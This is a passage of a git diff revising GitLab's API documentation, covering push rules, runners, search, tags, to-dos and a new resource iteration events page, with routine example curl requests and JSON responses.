the `commit_committer_check` and `reject_unsigned_commits` parameters:
```json
@@ -2176,18 +2177,18 @@ POST /projects/:id/push_rule
| Attribute | Type | Required | Description |
| --------------------------------------------- | -------------- | -------- | ----------- |
-| `id` | integer/string | yes | The ID of the project or NAMESPACE/PROJECT_NAME |
+| `author_email_regex` **(STARTER)** | string | no | All commit author emails must match this, for example `@my-company.com$` |
+| `branch_name_regex` **(STARTER)** | string | no | All branch names must match this, for example `(feature|hotfix)\/*` |
+| `commit_committer_check` **(PREMIUM)** | boolean | no | Users can only push commits to this repository that were committed with one of their own verified emails. |
+| `commit_message_negative_regex` **(STARTER)** | string | no | No commit message is allowed to match this, for example `ssh\:\/\/` |
+| `commit_message_regex` **(STARTER)** | string | no | All commit messages must match this, for example `Fixed \d+\..*` |
| `deny_delete_tag` **(STARTER)** | boolean | no | Deny deleting a tag |
+| `file_name_regex` **(STARTER)** | string | no | All committed filenames must **not** match this, for example `(jar|exe)$` |
+| `id` | integer/string | yes | The ID of the project or NAMESPACE/PROJECT_NAME |
+| `max_file_size` **(STARTER)** | integer | no | Maximum file size (MB) |
| `member_check` **(STARTER)** | boolean | no | Restrict commits by author (email) to existing GitLab users |
| `prevent_secrets` **(STARTER)** | boolean | no | GitLab will reject any files that are likely to contain secrets |
-| `commit_message_regex` **(STARTER)** | string | no | All commit messages must match this, e.g. `Fixed \d+\..*` |
-| `commit_message_negative_regex` **(STARTER)** | string | no | No commit message is allowed to match this, e.g. `ssh\:\/\/` |
-| `branch_name_regex` **(STARTER)** | string | no | All branch names must match this, e.g. `(feature|hotfix)\/*` |
-| `author_email_regex` **(STARTER)** | string | no | All commit author emails must match this, e.g. `@my-company.com$` |
-| `file_name_regex` **(STARTER)** | string | no | All committed filenames must **not** match this, e.g. `(jar|exe)$` |
-| `max_file_size` **(STARTER)** | integer | no | Maximum file size (MB) |
-| `commit_committer_check` **(PREMIUM)** | boolean | no | Users can only push commits to this repository that were committed with one of their own verified emails. |
-| `reject_unsigned_commits` **(PREMIUM)** | boolean | no | Reject commit when it is not signed through GPG. |
+| `reject_unsigned_commits` **(PREMIUM)** | boolean | no | Reject commit when it's not signed through GPG. |
### Edit project push rule
@@ -2199,17 +2200,17 @@ PUT /projects/:id/push_rule
| Attribute | Type | Required | Description |
| --------------------------------------------- | -------------- | -------- | ----------- |
-| `id` | integer/string | yes | The ID of the project or NAMESPACE/PROJECT_NAME |
+| `author_email_regex` **(STARTER)** | string | no | All commit author emails must match this, for example `@my-company.com$` |
+| `branch_name_regex` **(STARTER)** | string | no | All branch names must match this, for example `(feature|hotfix)\/*` |
+| `commit_committer_check` **(PREMIUM)** | boolean | no | Users can only push commits to this repository that were committed with one of their own verified emails. |
+| `commit_message_negative_regex` **(STARTER)** | string | no | No commit message is allowed to match this, for example `ssh\:\/\/` |
+| `commit_message_regex` **(STARTER)** | string | no | All commit messages must match this, for example `Fixed \d+\..*` |
| `deny_delete_tag` **(STARTER)** | boolean | no | Deny deleting a tag |
+| `file_name_regex` **(STARTER)** | string | no | All committed filenames must **not** match this, for example `(jar|exe)$` |
+| `id` | integer/string | yes | The ID of the project or NAMESPACE/PROJECT_NAME |
+| `max_file_size` **(STARTER)** | integer | no | Maximum file size (MB) |
| `member_check` **(STARTER)** | boolean | no | Restrict commits by author (email) to existing GitLab users |
| `prevent_secrets` **(STARTER)** | boolean | no | GitLab will reject any files that are likely to contain secrets |
-| `commit_message_regex` **(STARTER)** | string | no | All commit messages must match this, e.g. `Fixed \d+\..*` |
-| `commit_message_negative_regex` **(STARTER)** | string | no | No commit message is allowed to match this, e.g. `ssh\:\/\/` |
-| `branch_name_regex` **(STARTER)** | string | no | All branch names must match this, e.g. `(feature|hotfix)\/*` |
-| `author_email_regex` **(STARTER)** | string | no | All commit author emails must match this, e.g. `@my-company.com$` |
-| `file_name_regex` **(STARTER)** | string | no | All committed filenames must **not** match this, e.g. `(jar|exe)$` |
-| `max_file_size` **(STARTER)** | integer | no | Maximum file size (MB) |
-| `commit_committer_check` **(PREMIUM)** | boolean | no | Users can only push commits to this repository that were committed with one of their own verified emails. |
| `reject_unsigned_commits` **(PREMIUM)** | boolean | no | Reject commits when they are not GPG signed. |
### Delete project push rule
diff --git a/doc/api/protected_branches.md b/doc/api/protected_branches.md
index 8a3ff1b20e7..05d586738d0 100644
--- a/doc/api/protected_branches.md
+++ b/doc/api/protected_branches.md
@@ -255,7 +255,7 @@ Example response:
### Example with user / group level access **(STARTER)**
Elements in the `allowed_to_push` / `allowed_to_merge` / `allowed_to_unprotect` array should take the
-form `{user_id: integer}`, `{group_id: integer}` or `{access_level: integer}`. Each user must have access to the project and each group must [have this project shared](../user/project/members/share_project_with_groups.md). These access levels allow [more granular control over protected branch access](../user/project/protected_branches.md#restricting-push-and-merge-access-to-certain-users-starter) and were [added to the API](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/3516) in GitLab 10.3 EE.
+form `{user_id: integer}`, `{group_id: integer}` or `{access_level: integer}`. Each user must have access to the project and each group must [have this project shared](../user/project/members/share_project_with_groups.md). These access levels allow [more granular control over protected branch access](../user/project/protected_branches.md#restricting-push-and-merge-access-to-certain-users) and were [added to the API](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/3516) in GitLab 10.3 EE.
```shell
curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/protected_branches?name=*-stable&allowed_to_push%5B%5D%5Buser_id%5D=1"
diff --git a/doc/api/remote_mirrors.md b/doc/api/remote_mirrors.md
index a8355fb9009..605284caf06 100644
--- a/doc/api/remote_mirrors.md
+++ b/doc/api/remote_mirrors.md
@@ -7,7 +7,7 @@ type: reference, api
# Project remote mirrors API
-[Push mirrors](../user/project/repository/repository_mirroring.md#pushing-to-a-remote-repository-core)
+[Push mirrors](../user/project/repository/repository_mirroring.md#pushing-to-a-remote-repository)
defined on a project's repository settings are called "remote mirrors", and the
state of these mirrors can be queried and modified via the remote mirror API
outlined below.
diff --git a/doc/api/repository_submodules.md b/doc/api/repository_submodules.md
index 9a5dcacbc2f..77f64b178f0 100644
--- a/doc/api/repository_submodules.md
+++ b/doc/api/repository_submodules.md
@@ -23,13 +23,13 @@ PUT /projects/:id/repository/submodules/:submodule
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
-| `submodule` | string | yes | URL encoded full path to the submodule. For example, `lib%2Fclass%2Erb` |
+| `submodule` | string | yes | URL-encoded full path to the submodule. For example, `lib%2Fclass%2Erb` |
| `branch` | string | yes | Name of the branch to commit into |
| `commit_sha` | string | yes | Full commit SHA to update the submodule to |
| `commit_message` | string | no | Commit message. If no message is provided, a default one will be set |
```shell
-curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/repository/submodules/lib%2Fmodules%2Fexample"
+curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/repository/submodules/lib%2Fmodules%2Fexample" \
--data "branch=master&commit_sha=3ddec28ea23acc5caa5d8331a6ecb2a65fc03e88&commit_message=Update submodule reference"
```
diff --git a/doc/api/resource_iteration_events.md b/doc/api/resource_iteration_events.md
new file mode 100644
index 00000000000..f774cdfe9c7
--- /dev/null
+++ b/doc/api/resource_iteration_events.md
@@ -0,0 +1,175 @@
+---
+stage: Plan
+group: Project Management
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+---
+
+# Resource iteration events API **(STARTER)**
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/40850) in [GitLab Starter](https://about.gitlab.com/pricing/) 13.4
+> - It's [deployed behind a feature flag](../user/feature_flags.md), enabled by default.
+> - It's enabled on GitLab.com.
+> - It's recommended for production use.
+> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-iterations-events-tracking).
+
+NOTE: **Note:**
+This feature might not be available to you. Check the **version history** note above for details.
+
+Resource iteration events keep track of what happens to GitLab [issues](../user/project/issues/).
+
+Use them to track which iteration was set, who did it, and when it happened.
+
+## Issues
+
+### List project issue iteration events
+
+Gets a list of all iteration events for a single issue.
+
+```plaintext
+GET /projects/:id/issues/:issue_iid/resource_iteration_events
+```
+
+| Attribute | Type | Required | Description |
+| ----------- | -------------- | -------- | ------------------------------------------------------------------------------- |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
+| `issue_iid` | integer | yes | The IID of an issue |
+
+Example request:
+
+```shell
+curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/issues/11/resource_iteration_events"
+```
+
+Example response:
+
+```json
+[
+ {
+ "id": 142,
+ "user": {
+ "id": 1,
+ "name": "Administrator",
+ "username": "root",
+ "state": "active",
+ "avatar_url": "https://www.gravatar.com/avatar/e64c7d89f26bd1972efa854d13d7dd61?s=80&d=identicon",
+ "web_url": "http://gitlab.example.com/root"
+ },
+ "created_at": "2018-08-20T13:38:20.077Z",
+ "resource_type": "Issue",
+ "resource_id": 253,
+ "iteration": {
+ "id": 50,
+ "iid": 9,
+ "group_id": 5,
+ "title": "Iteration I",
+ "description": "Ipsum Lorem",
+ "state": 1,
+ "created_at": "2020-01-27T05:07:12.573Z",
+ "updated_at": "2020-01-27T05:07:12.573Z",
+ "due_date": null,
+ "start_date": null
+ },
+ "action": "add"
+ },
+ {
+ "id": 143,
+ "user": {
+ "id": 1,
+ "name": "Administrator",
+ "username": "root",
+ "state": "active",
+ "avatar_url": "https://www.gravatar.com/avatar/e64c7d89f26bd1972efa854d13d7dd61?s=80&d=identicon",
+ "web_url": "http://gitlab.example.com/root"
+ },
+ "created_at": "2018-08-21T14:38:20.077Z",
+ "resource_type": "Issue",
+ "resource_id": 253,
+ "iteration": {
+ "id": 53,
+ "iid": 13,
+ "group_id": 5,
+ "title": "Iteration II",
+ "description": "Ipsum Lorem ipsum",
+ "state": 2,
+ "created_at": "2020-01-27T05:07:12.573Z",
+ "updated_at": "2020-01-27T05:07:12.573Z",
+ "due_date": null,
+ "start_date": null
+ },
+ "action": "remove"
+ }
+]
+```
+
+### Get single issue iteration event
+
+Returns a single iteration event for a specific project issue.
+
+```plaintext
+GET /projects/:id/issues/:issue_iid/resource_iteration_events/:resource_iteration_event_id
+```
+
+Parameters:
+
+| Attribute | Type | Required | Description |
+| ----------------------------- | -------------- | -------- | ------------------------------------------------------------------------------- |
+| `id` | integer/string | yes | The ID or [URL-encoded path](README.md#namespaced-path-encoding) of the project |
+| `issue_iid` | integer | yes | The IID of an issue |
+| `resource_iteration_event_id` | integer | yes | The ID of an iteration event |
+
+Example request:
+
+```shell
+curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/issues/11/resource_iteration_events/143"
+```
+
+Example response:
+
+```json
+{
+ "id": 143,
+ "user": {
+ "id": 1,
+ "name": "Administrator",
+ "username": "root",
+ "state": "active",
+ "avatar_url": "https://www.gravatar.com/avatar/e64c7d89f26bd1972efa854d13d7dd61?s=80&d=identicon",
+ "web_url": "http://gitlab.example.com/root"
+ },
+ "created_at": "2018-08-21T14:38:20.077Z",
+ "resource_type": "Issue",
+ "resource_id": 253,
+ "iteration": {
+ "id": 53,
+ "iid": 13,
+ "group_id": 5,
+ "title": "Iteration II",
+ "description": "Ipsum Lorem ipsum",
+ "state": 2,
+ "created_at": "2020-01-27T05:07:12.573Z",
+ "updated_at": "2020-01-27T05:07:12.573Z",
+ "due_date": null,
+ "start_date": null
+ },
+ "action": "remove"
+}
+```
+
+### Enable or disable iterations events tracking **(STARTER)**
+
+Iterations events tracking is under development but ready for production use.
+It is deployed behind a feature flag that is **enabled by default**.
+[GitLab administrators with access to the GitLab Rails console](../administration/feature_flags.md)
+can opt to disable it.
+
+To enable it:
+
+```ruby
+Feature.enable(:track_iteration_change_events)
+```
+
+To disable it:
+
+```ruby
+Feature.disable(:track_iteration_change_events)
+```
diff --git a/doc/api/runners.md b/doc/api/runners.md
index 4cda4b723f5..436abe0a706 100644
--- a/doc/api/runners.md
+++ b/doc/api/runners.md
@@ -6,30 +6,30 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Runners API
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/2640) in GitLab 8.5
+> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/2640) in GitLab 8.5.
## Registration and authentication tokens
-There are two tokens to take into account when connecting a Runner with GitLab.
+There are two tokens to take into account when connecting a runner with GitLab.
| Token | Description |
| ----- | ----------- |
-| Registration token | Token used to [register the Runner](https://docs.gitlab.com/runner/register/). It can be [obtained through GitLab](../ci/runners/README.md). |
-| Authentication token | Token used to authenticate the Runner with the GitLab instance. It is obtained either automatically when [registering a Runner](https://docs.gitlab.com/runner/register/), or manually when [registering the Runner via the Runners API](#register-a-new-runner). |
+| Registration token | Token used to [register the runner](https://docs.gitlab.com/runner/register/). It can be [obtained through GitLab](../ci/runners/README.md). |
+| Authentication token | Token used to authenticate the runner with the GitLab instance. It is obtained either automatically when [registering a runner](https://docs.gitlab.com/runner/register/), or manually when [registering the runner via the Runner API](#register-a-new-runner). |
-Here's an example of how the two tokens are used in Runner registration:
+Here's an example of how the two tokens are used in runner registration:
-1. You register the Runner via the GitLab API using a registration token, and an
+1. You register the runner via the GitLab API using a registration token, and an
authentication token is returned.
1. You use that authentication token and add it to the
- [Runner's configuration file](https://docs.gitlab.com/runner/commands/#configuration-file):
+ [runner's configuration file](https://docs.gitlab.com/runner/commands/#configuration-file):
```toml
[[runners]]
token = "<authentication_token>"
```
-GitLab and Runner are then connected.
+GitLab and the runner are then connected.
## List owned runners
@@ -224,7 +224,7 @@ PUT /runners/:id
| `run_untagged`| boolean | no | Flag indicating the runner can execute untagged jobs |
| `locked` | boolean | no | Flag indicating the runner is locked |
| `access_level` | string | no | The access_level of the runner; `not_protected` or `ref_protected` |
-| `maximum_timeout` | integer | no | Maximum timeout set when this Runner will handle the job |
+| `maximum_timeout` | integer | no | Maximum timeout set when this runner will handle the job |
```shell
curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/runners/6" --form "description=test-1-20150125-test" --form "tag_list=ruby,mysql,tag1,tag2"
@@ -291,7 +291,7 @@ curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://git
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/15432) in GitLab 10.3.
-List jobs that are being processed or were processed by specified Runner.
+List jobs that are being processed or were processed by specified runner.
```plaintext
GET /runners/:id/jobs
@@ -541,9 +541,9 @@ Example response:
]
```
-## Register a new Runner
+## Register a new runner
-Register a new Runner for the instance.
+Register a new runner for the instance.
```plaintext
POST /runners
@@ -554,12 +554,12 @@ POST /runners
| `token` | string | yes | [Registration token](#registration-and-authentication-tokens). |
| `description`| string | no | Runner's description|
| `info` | hash | no | Runner's metadata |
-| `active` | boolean | no | Whether the Runner is active |
-| `locked` | boolean | no | Whether the Runner should be locked for current project |
-| `run_untagged` | boolean | no | Whether the Runner should handle untagged jobs |
-| `tag_list` | string array | no | List of Runner's tags |
+| `active` | boolean | no | Whether the runner is active |
+| `locked` | boolean | no | Whether the runner should be locked for current project |
+| `run_untagged` | boolean | no | Whether the runner should handle untagged jobs |
+| `tag_list` | string array | no | List of runner's tags |
| `access_level` | string | no | The access_level of the runner; `not_protected` or `ref_protected` |
-| `maximum_timeout` | integer | no | Maximum timeout set when this Runner will handle the job |
+| `maximum_timeout` | integer | no | Maximum timeout set when this runner will handle the job |
```shell
curl --request POST "https://gitlab.example.com/api/v4/runners" --form "token=<registration_token>" --form "description=test-1-20150125-test" --form "tag_list=ruby,mysql,tag1,tag2"
@@ -580,9 +580,9 @@ Example response:
}
```
-## Delete a registered Runner
+## Delete a registered runner
-Deletes a registered Runner.
+Deletes a registered runner.
```plaintext
DELETE /runners
@@ -602,9 +602,9 @@ Response:
|-----------|---------------------------------|
| 204 | Runner was deleted |
-## Verify authentication for a registered Runner
+## Verify authentication for a registered runner
-Validates authentication credentials for a registered Runner.
+Validates authentication credentials for a registered runner.
```plaintext
POST /runners/verify
diff --git a/doc/api/search.md b/doc/api/search.md
index 4c87a826ca8..cb90b9a064c 100644
--- a/doc/api/search.md
+++ b/doc/api/search.md
@@ -23,6 +23,7 @@ GET /search
| ------------------- | ---------------- | ---------- | ---------------------------------------------------------------------------------------|
| `scope` | string | yes | The scope to search in |
| `search` | string | yes | The search query |
+| `state` | string | no | Filter by state. Issues and merge requests are supported; it is ignored for other scopes. |
Search the expression within the specified scope. Currently these scopes are supported: projects, issues, merge_requests, milestones, snippet_titles, users.
@@ -397,6 +398,7 @@ GET /groups/:id/search
| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user |
| `scope` | string | yes | The scope to search in |
| `search` | string | yes | The search query |
+| `state` | string | no | Filter by state. Issues and merge requests are supported; it is ignored for other scopes. |
Search the expression within the specified scope. Currently these scopes are supported: projects, issues, merge_requests, milestones, users.
@@ -741,6 +743,7 @@ GET /projects/:id/search
| `scope` | string | yes | The scope to search in |
| `search` | string | yes | The search query |
| `ref` | string | no | The name of a repository branch or tag to search on. The project's default branch is used by default. This is only applicable for scopes: commits, blobs, and wiki_blobs. |
+| `state` | string | no | Filter by state. Issues and merge requests are supported; it is ignored for other scopes. |
Search the expression within the specified scope. Currently these scopes are supported: issues, merge_requests, milestones, notes, wiki_blobs, commits, blobs, users.
diff --git a/doc/api/services.md b/doc/api/services.md
index 25ad025027a..405047a433d 100644
--- a/doc/api/services.md
+++ b/doc/api/services.md
@@ -807,7 +807,7 @@ Parameters:
| `username` | string | yes | The username of the user created to be used with GitLab/Jira. |
| `password` | string | yes | The password of the user created to be used with GitLab/Jira. |
| `active` | boolean | no | Activates or deactivates the service. Defaults to false (deactivated). |
-| `jira_issue_transition_id` | string | no | The ID of a transition that moves issues to a closed state. You can find this number under the Jira workflow administration (**Administration > Issues > Workflows**) by selecting **View** under **Operations** of the desired workflow of your project. The ID of each state can be found inside the parenthesis of each transition name under the **Transitions (id)** column. By default, this ID is set to `2`. |
+| `jira_issue_transition_id` | string | no | The ID of a transition that moves issues to a closed state. You can find this number under the Jira workflow administration (**Administration > Issues > Workflows**) by selecting **View** under **Operations** of the desired workflow of your project. The ID of each state can be found inside the parenthesis of each transition name under the transitions ID column. By default, this ID is set to `2`. |
| `commit_events` | boolean | false | Enable notifications for commit events |
| `merge_requests_events` | boolean | false | Enable notifications for merge request events |
| `comment_on_event_enabled` | boolean | false | Enable comments inside Jira issues on each GitLab event (commit / merge request) |
diff --git a/doc/api/settings.md b/doc/api/settings.md
index 64c529b0222..c8a466d1fcd 100644
--- a/doc/api/settings.md
+++ b/doc/api/settings.md
@@ -61,7 +61,6 @@ Example response:
"enforce_terms": true,
"terms": "Hello world!",
"performance_bar_allowed_group_id": 42,
- "instance_statistics_visibility_private": false,
"user_show_add_ssh_key_message": true,
"local_markdown_version": 0,
"allow_local_requests_from_hooks_and_services": true,
@@ -151,7 +150,6 @@ Example response:
"enforce_terms": true,
"terms": "Hello world!",
"performance_bar_allowed_group_id": 42,
- "instance_statistics_visibility_private": false,
"user_show_add_ssh_key_message": true,
"file_template_project_id": 1,
"local_markdown_version": 0,
@@ -285,7 +283,6 @@ are listed in the descriptions of the relevant settings.
| `housekeeping_incremental_repack_period` | integer | required by: `housekeeping_enabled` | Number of Git pushes after which an incremental `git repack` is run. |
| `html_emails_enabled` | boolean | no | Enable HTML emails. |
| `import_sources` | array of strings | no | Sources to allow project import from, possible values: `github`, `bitbucket`, `bitbucket_server`, `gitlab`, `google_code`, `fogbugz`, `git`, `gitlab_project`, `gitea`, `manifest`, and `phabricator`. |
-| `instance_statistics_visibility_private` | boolean | no | When set to `true` Instance statistics will only be available to admins. |
| `issues_create_limit` | integer | no | Max number of issue creation requests per minute per user. Disabled by default.|
| `local_markdown_version` | integer | no | Increase this value when any cached Markdown should be invalidated. |
| `maintenance_mode_message` | string | no | **(PREMIUM)** Message displayed when instance is in maintenance mode |
@@ -332,7 +329,7 @@ are listed in the descriptions of the relevant settings.
| `send_user_confirmation_email` | boolean | no | Send confirmation email on sign-up. |
| `session_expire_delay` | integer | no | Session duration in minutes. GitLab restart is required to apply changes |
| `shared_runners_enabled` | boolean | no | (**If enabled, requires:** `shared_runners_text` and `shared_runners_minutes`) Enable shared runners for new projects. |
-| `shared_runners_minutes` | integer | required by: `shared_runners_enabled` | **(PREMIUM)** Set the maximum number of pipeline minutes that a group can use on shared Runners per month. |
+| `shared_runners_minutes` | integer | required by: `shared_runners_enabled` | **(PREMIUM)** Set the maximum number of pipeline minutes that a group can use on shared runners per month. |
| `shared_runners_text` | string | required by: `shared_runners_enabled` | Shared runners text. |
| `sign_in_text` | string | no | Text on the login page. |
| `signin_enabled` | string | no | (Deprecated: Use `password_authentication_enabled_for_web` instead) Flag indicating if password authentication is enabled for the web interface. |
@@ -346,7 +343,6 @@ are listed in the descriptions of the relevant settings.
| `snowplow_collector_hostname` | string | required by: `snowplow_enabled` | The Snowplow collector hostname. (for example, `snowplow.trx.gitlab.net`) |
| `snowplow_cookie_domain` | string | no | The Snowplow cookie domain. (for example, `.gitlab.com`) |
| `snowplow_enabled` | boolean | no | Enable snowplow tracking. |
-| `snowplow_iglu_registry_url` | string | no | The Snowplow base Iglu Schema Registry URL to use for custom context and self describing events'|
| `sourcegraph_enabled` | boolean | no | Enables Sourcegraph integration. Default is `false`. **If enabled, requires** `sourcegraph_url`. |
| `sourcegraph_public_only` | boolean | no | Blocks Sourcegraph from being loaded on private and internal projects. Default is `true`. |
| `sourcegraph_url` | string | required by: `sourcegraph_enabled` | The Sourcegraph instance URL for integration. |
diff --git a/doc/api/sidekiq_metrics.md b/doc/api/sidekiq_metrics.md
index 95acc992789..caa02412a28 100644
--- a/doc/api/sidekiq_metrics.md
+++ b/doc/api/sidekiq_metrics.md
@@ -1,4 +1,4 @@
-# Sidekiq Metrics API
+# Sidekiq Metrics API **(CORE ONLY)**
> Introduced in GitLab 8.9.
diff --git a/doc/api/snippets.md b/doc/api/snippets.md
index 0cdc07b1f46..6863763ff24 100644
--- a/doc/api/snippets.md
+++ b/doc/api/snippets.md
@@ -169,9 +169,9 @@ Parameters:
| Attribute | Type | Required | Description |
|:------------|:--------|:---------|:-------------------------------------------------------------------|
-| `id` | integer | yes | ID of snippet to retrieve |
-| `ref` | string | yes | Reference to a tag, branch or commit |
-| `file_path` | string | yes | URL-encoded path to the file |
+| `id` | integer | yes | ID of snippet to retrieve. |
+| `ref` | string | yes | Reference to a tag, branch or commit. |
+| `file_path` | string | yes | URL-encoded path to the file. |
Example request:
diff --git a/doc/api/tags.md b/doc/api/tags.md
index cf6cfd25dbb..8584de83357 100644
--- a/doc/api/tags.md
+++ b/doc/api/tags.md
@@ -117,11 +117,13 @@ POST /projects/:id/repository/tags
Parameters:
-- `id` (required) - The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user
-- `tag_name` (required) - The name of a tag
-- `ref` (required) - Create tag using commit SHA, another tag name, or branch name.
-- `message` (optional) - Creates annotated tag.
-- `release_description` (optional) - Add release notes to the Git tag and store it in the GitLab database.
+| Attribute | Type | Required | Description |
+| --------------------- | -------------- | -------- | --------------------------------------------------------------------------------------------------------------- |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `tag_name` | string | yes | The name of a tag |
+| `ref` | string | yes | Create tag using commit SHA, another tag name, or branch name |
+| `message` | string | no | Creates annotated tag |
+| `release_description` | string | no | Add release notes to the Git tag and store it in the GitLab database |
```shell
curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/repository/tags?tag_name=test&ref=master"
@@ -177,8 +179,10 @@ DELETE /projects/:id/repository/tags/:tag_name
Parameters:
-- `id` (required) - The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user
-- `tag_name` (required) - The name of a tag
+| Attribute | Type | Required | Description |
+| ---------- | -------------- | -------- | --------------------------------------------------------------------------------------------------------------- |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `tag_name` | string | yes | The name of a tag |
## Create a new release
@@ -191,8 +195,10 @@ POST /projects/:id/repository/tags/:tag_name/release
Parameters:
-- `id` (required) - The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user
-- `tag_name` (required) - The name of a tag
+| Attribute | Type | Required | Description |
+| ---------- | -------------- | -------- | --------------------------------------------------------------------------------------------------------------- |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `tag_name` | string | yes | The name of a tag |
Request body:
@@ -223,8 +229,10 @@ PUT /projects/:id/repository/tags/:tag_name/release
Parameters:
-- `id` (required) - The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user
-- `tag_name` (required) - The name of a tag
+| Attribute | Type | Required | Description |
+| ---------- | -------------- | -------- | --------------------------------------------------------------------------------------------------------------- |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `tag_name` | string | yes | The name of a tag |
Request body:
diff --git a/doc/api/templates/dockerfiles.md b/doc/api/templates/dockerfiles.md
index 2fa3d7b7fa1..e579300a2fd 100644
--- a/doc/api/templates/dockerfiles.md
+++ b/doc/api/templates/dockerfiles.md
@@ -124,7 +124,7 @@ Example response:
```json
{
"name": "Binary",
- "content": "# This file is a template, and might need editing before it works on your project.\n# This Dockerfile installs a compiled binary into a bare system.\n# You must either commit your compiled binary into source control (not recommended)\n# or build the binary first as part of a CI/CD pipeline.\n\nFROM buildpack-deps:jessie\n\nWORKDIR /usr/local/bin\n\n# Change `app` to whatever your binary is called\nAdd app .\nCMD [\"./app\"]\n"
+ "content": "# This file is a template, and might need editing before it works on your project.\n# This Dockerfile installs a compiled binary into a bare system.\n# You must either commit your compiled binary into source control (not recommended)\n# or build the binary first as part of a CI/CD pipeline.\n\nFROM buildpack-deps:buster\n\nWORKDIR /usr/local/bin\n\n# Change `app` to whatever your binary is called\nAdd app .\nCMD [\"./app\"]\n"
}
```
diff --git a/doc/api/todos.md b/doc/api/todos.md
index 9d56522c5b8..ebe10ecbd49 100644
--- a/doc/api/todos.md
+++ b/doc/api/todos.md
@@ -4,13 +4,13 @@ group: Project Management
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
---
-# Todos API
+# To-dos API
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/3188) in GitLab 8.10.
-## Get a list of todos
+## Get a list of to-dos
-Returns a list of todos. When no filter is applied, it returns all pending todos
+Returns a list of to-dos. When no filter is applied, it returns all pending to-dos
for the current user. Different filters allow the user to precise the request.
```plaintext
@@ -21,12 +21,12 @@ Parameters:
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `action` | string | no | The action to be filtered. Can be `assigned`, `mentioned`, `build_failed`, `marked`, `approval_required`, `unmergeable` or `directly_addressed`. |
+| `action` | string | no | The action to be filtered. Can be `assigned`, `mentioned`, `build_failed`, `marked`, `approval_required`, `unmergeable`, `directly_addressed` or `merge_train_removed`. |
| `author_id` | integer | no | The ID of an author |
| `project_id` | integer | no | The ID of a project |
| `group_id` | integer | no | The ID of a group |
-| `state` | string | no | The state of the todo. Can be either `pending` or `done` |
-| `type` | string | no | The type of a todo. Can be either `Issue` or `MergeRequest` |
+| `state` | string | no | The state of the to-do. Can be either `pending` or `done` |
+| `type` | string | no | The type of a to-do. Can be either `Issue`, `MergeRequest`, `DesignManagement::Design` or `AlertManagement::Alert` |
```shell
curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/todos"
@@ -187,10 +187,10 @@ Example Response:
]
```
-## Mark a todo as done
+## Mark a to-do as done
-Marks a single pending todo given by its ID for the current user as done. The
-todo marked as done is returned in the response.
+Marks a single pending to-do given by its ID for the current user as done. The
+to-do marked as done is returned in the response.
```plaintext
POST /todos/:id/mark_as_done
@@ -200,7 +200,7 @@ Parameters:
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer | yes | The ID of a todo |
+| `id` | integer | yes | The ID of a to-do |
```shell
curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/todos/130/mark_as_done"
@@ -285,9 +285,9 @@ Example Response:
}
```
-## Mark all todos as done
+## Mark all to-dos as done
-Marks all pending todos for the current user as done. It returns the HTTP status code `204` with an empty response.
+Marks all pending to-dos for the current user as done. It returns the HTTP status code `204` with an empty response.
```plaintext
POST /todos/mark_as_done
diff --git a/doc/api/users.md b/doc/api/users.md
index 76075e8b7be..634e0bd0842 100644
--- a/doc/api/users.md
+++ b/doc/api/users.md
@@ -2,8 +2,6 @@
## List users
-Active users = Total accounts - Blocked users
-
Get a list of users.
This function takes pagination parameters `page` and `per_page` to restrict the list of users.
@@ -49,9 +47,9 @@ For example:
GET /users?username=jack_smith
```
-In addition, you can filter users based on states eg. `blocked`, `active`
-This works only to filter users who are `blocked` or `active`.
-It does not support `active=false` or `blocked=false`.
+In addition, you can filter users based on the states `blocked` and `active`.
+It does not support `active=false` or `blocked=false`. The list of active users
+is the total number of users minus the blocked users.
```plaintext
